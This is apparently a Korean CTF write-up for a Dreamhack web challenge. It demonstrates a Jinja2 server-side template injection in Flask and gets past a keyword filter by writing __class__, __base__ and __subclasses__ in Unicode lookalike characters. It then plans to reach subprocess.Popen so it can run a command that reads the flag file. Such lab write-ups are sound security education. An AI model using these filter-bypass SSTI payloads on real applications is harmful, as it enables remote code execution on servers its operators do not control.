https://gosecure.github.io/unicode-pentester-cheatsheet/
Characters that byͥte
gosecure.github.io
위 사이트를 참고하거나, 맥의 경우 유니코드 창에서 검색창에 c,a 등 입력하면 대응하는 유니코드를 확인할 수 있다.

문제는 %s로 단순 출력이라 이 방법으로는 플래그가 출력되지 않는다.
Flask 기본 템플릿 렌더링(render_template_string)에 사용자 입력을 바로 집어넣고 있으므로, Jinja2 SSTI(Server Side Template Injection)으로 os.popen("cat /home/hangul/flag").read() 실행
SSTI는 템플릿을 사용하여 웹 애플리케이션을 구동할 때, 사용자의 입력이 적절하게 필터링되지 않아 템플릿 구문을 삽입하고, 삽입된 템플릿이 서버 측에서 해석되어 RCE 취약점으로 이어질 수 있다.
필터링되는 리스트..다행히 {,}는 아니다.

일단 유니코드로 대응되는 8*8을 {{}}으로 감싸서 줬더니 예상대로 64가 실행되었다.
빈 문자열 ""에 __class__ 사용하여 문자열 클래스에 접근한다.
str 클래스에 __base__를 사용하면 <class 'object'>를 확인할 수 있으며, object 클래스에 접근할 수 있다.
{{"".__ⓒˡªˢˢ__.__ᵇªˢᵉ__.__ˢᵘᵇⅽˡªˢˢᵉˢ__()}}

예상대로 object 클래스의 서브클래스 목록이 dict 형태로 반환되었다.
codecs.IncrementalDecoder (144)와 subprocess.Popen 클래스 사용하여 명령어를 실행한다.
(dic에 subprocess.Popen 클래스가 없었기 때문에 codecs.IncrementalDecoder를 사용하여 subprocess.Popen 클래스에 접근한 것)
st="<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'FrameLocalsProxy'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InstructionSequence'>, <class 'sys.legacy_event_handler'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'NoDefaultType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._ThreadHandle'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>"
st=st.split(',')
for i in range(len(st)):
print(f"{i}: {st[i]}")



| [Dreamhack] Test Your Luck (WEB) (2) | 2025.07.24 |
|---|---|
| [Dreamhack] BypassIF (WEB) (0) | 2025.05.12 |
| [Dreamhack] web-ssrf (WEB) (0) | 2025.04.17 |
| [Dreamhack] csrf-2 (WEB) (0) | 2025.04.17 |
| Dreamhack CTF Season 7 Round #7 (🚩Div1) Pybrid write up (0) | 2025.04.07 |